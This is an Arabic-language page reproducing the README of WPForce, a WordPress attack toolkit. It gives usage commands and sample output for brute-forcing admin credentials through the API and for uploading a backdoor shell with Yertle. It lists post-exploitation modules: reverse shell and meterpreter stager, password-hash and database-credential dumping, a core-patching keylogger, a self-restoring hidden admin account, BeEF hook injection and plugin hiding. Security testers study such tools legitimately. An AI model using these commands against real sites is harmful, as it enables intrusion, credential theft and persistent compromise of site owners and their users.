WPForce - مجموعة أدوات هجوم ووردبريس

حول:

WPForce هي مجموعة من أدوات هجوم ووردبريس. تحتوي حالياً على نصين برمجيين - WPForce، الذي يقوم بتخمين كلمات المرور بقوة عبر API، وYertle، الذي يرفع الصِدَف (shells) بمجرد العثور على بيانات اعتماد المشرف. يحتوي Yertle أيضاً على عدد من وحدات ما بعد الاستغلال.

لمزيد من المعلومات، قم بزيارة مقال المدونة هنا: https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/

مدونات بلغات أخرى:

الصينية - www.mottoin.com/100381.html

البرتغالية - http://www.100security.com.br/wpforce/

الإسبانية - http://www.1024megas.com/2017/05/wpforce-fuerzabruta-postexplotacion.html

https://esgeeks.com/como-hackear-sitio-wordpress-con-wpforce/

الروسية - https://hackware.ru/?p=2547

الفرنسية - https://securityhack3r.info/wpforce-brute-force-attack-tool-wordpress/

التركية - http://turkhackteam.org/web-server-guvenligi/1655005-wordpress-site-sizma-testi-part-1-a.html

الميزات:

تخمين القوة عبر API، وليس عبر نموذج تسجيل الدخول، مما يتجاوز بعض أشكال الحماية
يمكن رفع صدفة تفاعلية تلقائياً
يمكن استخدامه لإطلاق صدفة عكسية كاملة الميزات
تفريغ تجزئات كلمات مرور ووردبريس
يمكن إحداث ثغرة في وظيفة المصادقة لجمع كلمات المرور بنص عادي
حقن خطاف BeEF في جميع الصفحات
التحول إلى meterpreter إذا لزم الأمر

التثبيت:

Yertle requires the requests libary to run.
http://docs.python-requests.org/en/master/user/install/

الاستخدام:

python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

   ,-~~-.___.       __        __ ____   _____
  / |  x     \      \ \      / /|  _ \ |  ___|___   _ __  ___  ___
 (  )        0       \ \ /\ / / | |_) || |_  / _ \ | '__|/ __|/ _ \.
  \_/-, ,----'  ____  \ V  V /  |  __/ |  _|| (_) || |  | (__|  __/
     ====      ||   \_ \_/\_/   |_|    |_|   \___/ |_|   \___|\___|
    /  \-'~;   ||     |
   /  __/~| ...||__/|-"   Brute Force Attack Tool for Wordpress
 =(  _____||________|                 ~n00py~

Username List: usr.txt (3)
Password List: pass.txt (21)
URL: http://www[website].com
--------------------------
[[email protected] : xxxxxxxxxxxxx] are valid credentials!  - THIS ACCOUNT IS ADMIN
--------------------------
--------------------------
[[email protected] : xxxxxxxxxxxx] are valid credentials!
--------------------------
 100% Percent Complete
All correct pairs:
{'[email protected]': 'xxxxxxxxxxxxx', '[email protected]': 'xxxxxxxxxxxxx'}

 -h, --help            إظهار رسالة المساعدة هذه والخروج
  -i INPUT, --input INPUT
                        اسم ملف الإدخال
  -w WORDLIST, --wordlist WORDLIST
                        اسم ملف قائمة الكلمات
  -u URL, --url URL     عنوان URL للهدف
  -v, --verbose         إخراج مفصل. إظهار المحاولات أثناء حدوثها.
  -t THREADS, --threads THREADS
                        يحدد عدد الخيوط المستخدمة، الافتراضي هو 10
  -a AGENT, --agent AGENT
                        يحدد وكيل المستخدم
  -d, --debug           يستخدم هذا الخيار لتحديد المشكلات في النص البرمجي.


python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
     _..---.--.    __   __        _   _
   .'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
  /__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
 (____.'.-_\____)    | |  __/ |  | |_| |  __/
  (_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
   (_..)--(.._)'--'         ~n00py~
      Post-exploitation Module for Wordpress

Backdoor uploaded!
Upload Directory: ebwhbas
os-shell>



  -h, --help            إظهار رسالة المساعدة هذه والخروج
  -i, --interactive     واجهة أوامر تفاعلية
  -r, --reverse         صدفة عكسية
  -t TARGET, --target TARGET
                        عنوان URL للهدف
  -u USERNAME, --username USERNAME
                        اسم مستخدم المشرف
  -p PASSWORD, --password PASSWORD
                        كلمة مرور المشرف
  -li IP, --ip IP       عنوان IP للمستمع
  -lp PORT, --port PORT
                        منفذ المستمع
  -v, --verbose         إخراج مفصل.
  -e EXISTING, --existing EXISTING
                        تخطي رفع الصدفة، والاتصال بصدفة موجودة

يحتوي Yertle حالياً على هذه الوحدات:

Core Commands
=============
 
Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
dbcreds                   Prints the database credentials
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
persist                   Creates an admin account that will re-add itself
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page

WPForce

الأكثر شعبية

WPForce - مجموعة أدوات هجوم ووردبريس

حول:

الميزات:

التثبيت:

الاستخدام: